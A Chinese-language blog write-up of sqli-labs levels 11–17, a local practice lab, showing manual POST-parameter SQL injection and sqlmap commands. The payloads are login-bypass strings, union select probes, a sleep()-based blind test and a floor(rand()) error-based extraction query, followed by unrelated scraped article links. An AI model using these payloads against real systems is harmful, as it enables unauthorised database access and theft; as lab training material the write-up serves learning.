sqli-labs11-17(手注+sqlmap)
这几关涉及到的都是post型data处注入,和get型的差别就是注入点的测试处不一样,方法都是一样的
0x01 sqli-labs less-11
1.手工
由于是post型注入,那么我们不能在url处输入,我们在下面表单处输入数据,才是post型的data请求部分,也可以通过抓包,对data部分进行sql语句注入
我们在username处输入1',password处任意输入,发现报sql语句错误

那么username处存在sql注入,我们跟上注释 --+,发现回显报错,跟上#,发现回显正常,那么成功闭合
’order by 3# 报错,‘order by 2# 正常显示
查询数据库’union select database(),2#
后面操作跟第一关一样
2.sqlmap注入
用burp抓包,然后,sqlmap需跟上data部分的数据
sqlmap语句:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/?id=1" --data "uname=1&passwd=11&submit=Submit"
--technique UES
--dbms mysql --dbs --threads 8
其中的:
--data:后面可以加上数据段(post/get类型的都是可以的) --threads:最大并发线程,盲注时每个线程获取一个字符(7此请求),获取完成后线程结束,默认为1,建议不要超过10,否则可能影响站点可用性

这里不加--batch是有原因的,因为的有个选项要选择no

不然很慢
0x02 sqli-labs less-12
1.手注
用户名处输入1’,pssword处任意输入,没有报错,输入1“,报错,那么应该是双引号报错
加上#注释,还是报错,没有闭合,看看报错信息发现有括号,

那么加上括号,username为:1")#,密码任意输入,正确回显,然后试试union select,

之后常规操作
2.sqlmap注入
将我们手工试出来的除了注释符的闭合规则(万能密码)填入到data里面相应的参数中
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-12/?id=1" --data "uname=")or ("1")=("1&passwd=1")or("1")=("1&submit=Submit" --technique US --dbms mysql --dbs --threads 8
0x03 sqli-labs less-13
1.手注
闭合规则为:')#
输入')union select 1,2#,发现没有显示位,但是有报错信息,因此采用floor报错注入
后面报错注入的常规操作
2.sqlmap注入
需要在data中的两个参数输入注入规则的万能密码,破解更快

0x04 sqli-labs less-14
1.手注
输入”,报sql错误,输入“#成功闭合,因此闭合规则为:"#
在规则里面写入union select 1,2,正确查询没有显示,只会报错,因此同样采用报错注入
后面常规报错注入操作
2.sqlmap注入
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-14/?id=1" --data "uname=1&passwd=1&submit=Submit" --dbs --threads 8 --technique E --dbms mysql
0x05 sqli-labs less-15
1.手注
没有报错信息,试试1’and sleep(5)#也不行
应该是要登录用户名正确才行,试试admin'and sleep(5)#,发现延时5秒
参考第9关时间盲注的操作
2.sqlmap注入
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-15/?id=1" --data "uname=admin'or'1'='1&passwd='or'1'='1&submit=Submit" --current-db --threads 8 --technique T
或者
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-15/?id=1" --data "uname=admin&passwd=1&submit=Submit" --current-db --threads 8 --technique T
0x06 sqli-labs less-16
将闭合规则的‘换成“,后面操作同15关
0x07 sqli-labs less-17
1.手注
单双引号在user name里面没有报错,那么看源码

没有对password进行检查,但是先检查的是uname,因此我们用户名必须正确,这里选择爆破,爆出用户名。这里用户名是admin
那么用户名处填入admin,密码处填入’报错,填入’#,正常显示,正常显示没有回显位,因此采用floor报错注入

构造语句:’ and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a)#

后面报错注入的常规操作
2.sqlmap注入
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-17/" --data "uname=admin&passwd=password&submit=Submit" --current-db --threads 8 --technique E

sqli-labs11-17(手注+sqlmap)的更多相关文章
- (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析
		一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ... 
- SQL注入 手注与联合注入
		SQL注入,吧sql命令插入到WEB表单,或输入域名或页面亲求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令: 得到数据库用户名和密码 1:在以,{ .asp?id=32( ... 
- SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23   第二十四 二十五天}
		首先什么是SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入有什么危害? 危害:数据泄露.脱库 ... 
- MySQL手注之盲注(布尔)
		布尔注入: 当我们在注入的过程中输入的语句在页面没有数据返回点,这就需要利用布尔型盲注一步步来猜取想要的数据.(盲注分为布尔盲注和时间盲注) 盲注常用函数: length() 返回字符串的长度, 可 ... 
- MySQL手注之报错注入
		报错注入: 指在页面中没有一个合适的数据返回点的情况下,利用mysql函数的报错来创造一个显位的注入.先来了解一下报错注入常用的函数 XML:指可扩展标记语言被设计用来传输和存储数据. concat: ... 
- ACCESS手注
		ASP一般搭载ACCESS或者mssql 判断数据库类型 http://www.***.com?id=1 and (select count(*) from sysobjects)>0 http ... 
- MySQL手注之联合查询注入
		了解联合查询注入之前,先要了解一下什么是union? union是用于合并两个sql查询结果的语句. 要使用union 必须有相同的列数 必须有两条以上的select语句组成 列的数据类型必须兼容 ... 
- sql 手注 语法
		mysql中的information_schema 结构用来存储数据库系统信息 information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表. | SCHEMATA ―― ... 
- 2019 第二届 科成安洵杯 官方WriteUp -17网安
		长文预警:对应源码请加企鹅群获取:861677907 0x01 WEB 1.1 勇闯贪吃蛇大冒险 一进去就看出来是一道web页面JS的小游戏,提示说输入CDUESTC CTF即可闯关成功,但是存在着d ... 
随机推荐
- c++ 中全局/静态存储区的内存污染问题
			今天研究用回溯法解决八皇后问题,碰到了一个有趣的小问题. 看这篇随笔前,最好先看看我上一篇所写的 c++ 内存分配中一个有趣的小问题. 先看代码 #pragma once #pragma execut ... 
- ansible实现SSH配置免密互信
			Ansible是用来处理大批量重复性操作的工具,只需要在一台机器上就可以远程控制所有机器,但前提是必须保证每台机器之间SSH可以相互免密登录.关于Ansible的安装和环境准备请参考Ansible环境 ... 
- ELF和BIN的区别,资料整理
			https://www.cnblogs.com/fah936861121/articles/8143556.html 1.Bin Bin文件是最纯粹的二进制机器代码, 或者说是"顺序格式&q ... 
- git rm -r --cached解决已提交的文件在.gitignore中加入忽略后无效的问题。
			有时候,发现有不该提交的文件已经提交后,仅仅在.gitignore中加入忽略是不行的.这个时候需要执行: git rm -r --cached 文件/文件夹名字 去掉已经托管的文件,然后重新提交: g ... 
- 现在连Linux都搞不懂,当初我要是这么学习操作系统就好了!
			原创声明 本文首发于微信公众号[程序员黄小斜] 本文作者:黄小斜 转载请务必在文章开头注明出处和作者. 本文思维导图 简介 学习编程,操作系统是你必须要掌握的基础知识,那么操作系统到底是什么呢? 这还 ... 
- 了解JavaScript的语法基础,值和变量
			通过JavaScript语法基础学习了解到1.怎么使用js/*通常js的引入和css一样,分为内部,外部和行内引入,执行自上而下,有着先后顺序*/:2.js的语法/*2.1js是用字母,数字.特殊字符 ... 
- 00.JS前言
			前言: 学习一门编程语言的基本步骤(01)了解背景知识 1.了解背景知识 1)什么是 JavaScript 语言? JavaScript 是一种轻量级的脚本语言.所谓“脚本语言”(scri ... 
- Dijkstra算法2
			// 再来一手精髓的Dijkstra // 复杂度O( E*log(V) ) #include <cstdio> #include <iostream> #include &l ... 
- Vue 实现动态路由及登录&404页面跳转控制&页面刷新空白解决方案
			Vue实现动态路由及登录&404页面跳转控制&页面刷新空白解决方案 by:授客 QQ:1033553122 开发环境 Win 10 Vue 2.9.6 node-v ... 
- KVM-virsh 创建虚拟网络
			创建网络 创建配置文件 vim /etc/libvirt/qemu/networks/nfsnobody.xml #创建一个名为nfsnobody的虚拟网络 <network> <n ... 
